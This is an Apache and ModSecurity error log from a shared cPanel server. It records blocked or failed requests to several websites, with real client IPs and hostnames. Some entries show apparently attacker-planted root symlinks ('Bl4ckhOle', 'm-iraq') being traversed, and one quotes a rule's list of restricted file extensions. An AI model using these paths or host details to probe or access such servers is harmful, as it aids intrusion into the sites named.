[Fri Jul 17 08:44:13.867032 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almeBY4Wmn5zySdNNkAmxQAAABM"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:44:13.867084 2026] [security2:error] [pid 1996894:tid 1996894] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almeBY4Wmn5zySdNNkAmxQAAABM"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:44:17.013615 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:17.030010 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:18.526749 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:60466] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:19.062328 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almd8bEWOaI5pmYo9fnNfgAAAAA"]
[Fri Jul 17 08:44:19.062362 2026] [security2:error] [pid 2019501:tid 2019501] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/index.php"] [unique_id "almd8bEWOaI5pmYo9fnNfgAAAAA"]
[Fri Jul 17 08:44:19.647895 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_49_no_15-english_1.pdf"] [unique_id "almeCw5GPQ6hs4VrfMo_zAAAAAY"]
[Fri Jul 17 08:44:19.648317 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_49_no_15-english_1.pdf"] [unique_id "almeCw5GPQ6hs4VrfMo_zAAAAAY"]
[Fri Jul 17 08:44:19.648651 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/vol_49_no_15-english_1.pdf"] [unique_id "almeCw5GPQ6hs4VrfMo_zAAAAAY"]
[Fri Jul 17 08:44:23.061269 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:44536] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:23.852332 2026] [security2:error] [pid 2018764:tid 2018764] [client 47.82.52.208:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/usr/lib/modules/4.18.0-553.89.1.lve.el8.x86_64/kernel/sound/firewire/digi00x/"] [unique_id "almeD1seBYnnE2UYU1j5sAAAABY"]
[Fri Jul 17 08:44:23.852370 2026] [security2:error] [pid 2018764:tid 2018764] [client 47.82.52.208:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/backup/js/Bl4ckhOle/root/usr/lib/modules/4.18.0-553.89.1.lve.el8.x86_64/kernel/sound/firewire/digi00x/"] [unique_id "almeD1seBYnnE2UYU1j5sAAAABY"]
[Fri Jul 17 08:44:23.967295 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:44574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:24.012595 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 57.141.18.73:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory89/subsystem/devices/memory130/subsystem/devices/memory133/node0/memory76/subsystem/uevent
[Fri Jul 17 08:44:25.466356 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.128.48.160:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php80/etc/php.d.all/oauth.ini"] [unique_id "almeEVCBpfuYyhJ140vQ9AAAAB4"]
[Fri Jul 17 08:44:25.466862 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.128.48.160:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php80/etc/php.d.all/oauth.ini"] [unique_id "almeEVCBpfuYyhJ140vQ9AAAAB4"]
[Fri Jul 17 08:44:25.498333 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.128.48.160:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/home/cagefs-skeleton/opt/alt/php80/etc/php.d.all/oauth.ini"] [unique_id "almeEVCBpfuYyhJ140vQ9AAAAB4"]
[Fri Jul 17 08:44:27.260593 2026] [security2:error] [pid 1993574:tid 1993574] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almeD90t9Kb_MdNxrg7AsgAAAAM"]
[Fri Jul 17 08:44:27.260626 2026] [security2:error] [pid 1993574:tid 1993574] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "millenniumagro.lk"] [uri "/wp-admin/admin-ajax.php"] [unique_id "almeD90t9Kb_MdNxrg7AsgAAAAM"]
[Fri Jul 17 08:44:27.827313 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:28.907854 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:29.086912 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:32.320704 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:36.139392 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/sound/card0/device/subsystem/rescan
[Fri Jul 17 08:44:36.144714 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-01-04_10.pdf"] [unique_id "almeHFCBpfuYyhJ140vQ-gAAAB4"]
[Fri Jul 17 08:44:36.145102 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-01-04_10.pdf"] [unique_id "almeHFCBpfuYyhJ140vQ-gAAAB4"]
[Fri Jul 17 08:44:36.145422 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-01-04_10.pdf"] [unique_id "almeHFCBpfuYyhJ140vQ-gAAAB4"]
[Fri Jul 17 08:44:38.331024 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:40192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:38.415125 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:44:38.818617 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 47.82.54.235:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS3/device/subsystem/uevent
[Fri Jul 17 08:44:39.986291 2026] [security2:error] [pid 2018758:tid 2018758] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-global": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/maint/repair.php"] [unique_id "almeHIRpm5MObcED3Q9rVgAAABE"]
[Fri Jul 17 08:44:39.986322 2026] [security2:error] [pid 2018758:tid 2018758] [client 155.133.27.45:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/colourmarklabels-ip": Permission denied [hostname "colourmarklabels.com"] [uri "/wp-admin/maint/repair.php"] [unique_id "almeHIRpm5MObcED3Q9rVgAAABE"]
[Fri Jul 17 08:44:47.651018 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:58822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:48.653647 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:58866] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:49.506176 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:58902] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:52.290319 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-03-07_10.pdf"] [unique_id "almeLARRrtuZqNDDSqWuqgAAABo"]
[Fri Jul 17 08:44:52.290725 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-03-07_10.pdf"] [unique_id "almeLARRrtuZqNDDSqWuqgAAABo"]
[Fri Jul 17 08:44:52.291074 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-03-07_10.pdf"] [unique_id "almeLARRrtuZqNDDSqWuqgAAABo"]
[Fri Jul 17 08:44:52.634570 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:35428] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:53.719918 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:35472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:54.974465 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:35538] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:57.013814 2026] [security2:error] [pid 2013829:tid 2013829] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory65/node0/memory22/node0/memory49/"] [unique_id "almeMQ7FYe46zHK_jL3OJgAAABk"]
[Fri Jul 17 08:44:57.013969 2026] [security2:error] [pid 2013829:tid 2013829] [client 57.141.18.104:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory65/node0/memory22/node0/memory49/"] [unique_id "almeMQ7FYe46zHK_jL3OJgAAABk"]
[Fri Jul 17 08:44:57.338467 2026] [ssl:error] [pid 2018764:tid 2018764] (70014)End of file found: [client 66.85.158.91:35624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:57.433537 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:35630] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:44:59.506945 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:35696] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:02.266728 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:50866] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:02.645494 2026] [ssl:error] [pid 2018767:tid 2018767] (70014)End of file found: [client 66.85.158.91:50876] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:04.338350 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:50952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:04.423005 2026] [ssl:error] [pid 2014256:tid 2014256] (70014)End of file found: [client 66.85.158.91:50962] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:05.825904 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-07-06_10.pdf"] [unique_id "almeOboj0IkvhSCYadmANgAAAAQ"]
[Fri Jul 17 08:45:05.826435 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-07-06_10.pdf"] [unique_id "almeOboj0IkvhSCYadmANgAAAAQ"]
[Fri Jul 17 08:45:05.826888 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-07-06_10.pdf"] [unique_id "almeOboj0IkvhSCYadmANgAAAAQ"]
[Fri Jul 17 08:45:05.827458 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:05.871300 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:05.875741 2026] [ssl:error] [pid 2013797:tid 2013797] (5)Input/output error: [client 66.85.158.91:51060] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:08.177749 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:51162] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:08.550313 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:09.899728 2026] [security2:error] [pid 2013830:tid 2013830] [client 66.9.174.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-global": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almePQRRrtuZqNDDSqWuvwAAABo"]
[Fri Jul 17 08:45:09.899781 2026] [security2:error] [pid 2013830:tid 2013830] [client 66.9.174.242:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/bostonlanka-ip": Permission denied [hostname "bostonlanka.com"] [uri "/index.php"] [unique_id "almePQRRrtuZqNDDSqWuvwAAABo"]
[Fri Jul 17 08:45:11.480150 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:14.832437 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:16.093739 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:45:16.612284 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:40132] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:17.208387 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:40164] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:17.676391 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:40196] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:17.679599 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.82.48.152:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/4:9/uevent"] [unique_id "almeRVCBpfuYyhJ140vRIAAAAB4"]
[Fri Jul 17 08:45:17.679640 2026] [security2:error] [pid 2018768:tid 2018768] [client 47.82.48.152:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/4:9/uevent"] [unique_id "almeRVCBpfuYyhJ140vRIAAAAB4"]
[Fri Jul 17 08:45:17.899202 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-22-02-2020_10.pdf"] [unique_id "almeRaquHSHoCJK_V0R_1QAAABs"]
[Fri Jul 17 08:45:17.899532 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-22-02-2020_10.pdf"] [unique_id "almeRaquHSHoCJK_V0R_1QAAABs"]
[Fri Jul 17 08:45:17.899851 2026] [security2:error] [pid 2018767:tid 2018767] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-22-02-2020_10.pdf"] [unique_id "almeRaquHSHoCJK_V0R_1QAAABs"]
[Fri Jul 17 08:45:20.578669 2026] [ssl:error] [pid 1993572:tid 1993572] (5)Input/output error: [client 66.85.158.91:40302] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:22.120238 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:35342] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:24.505225 2026] [ssl:error] [pid 2013797:tid 2013797] (5)Input/output error: [client 66.85.158.91:35428] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:25.721585 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:35502] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:45:27.085515 2026] [security2:error] [pid 2018758:tid 2018758] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almeToRpm5MObcED3Q9rgQAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1204&page_105=2186
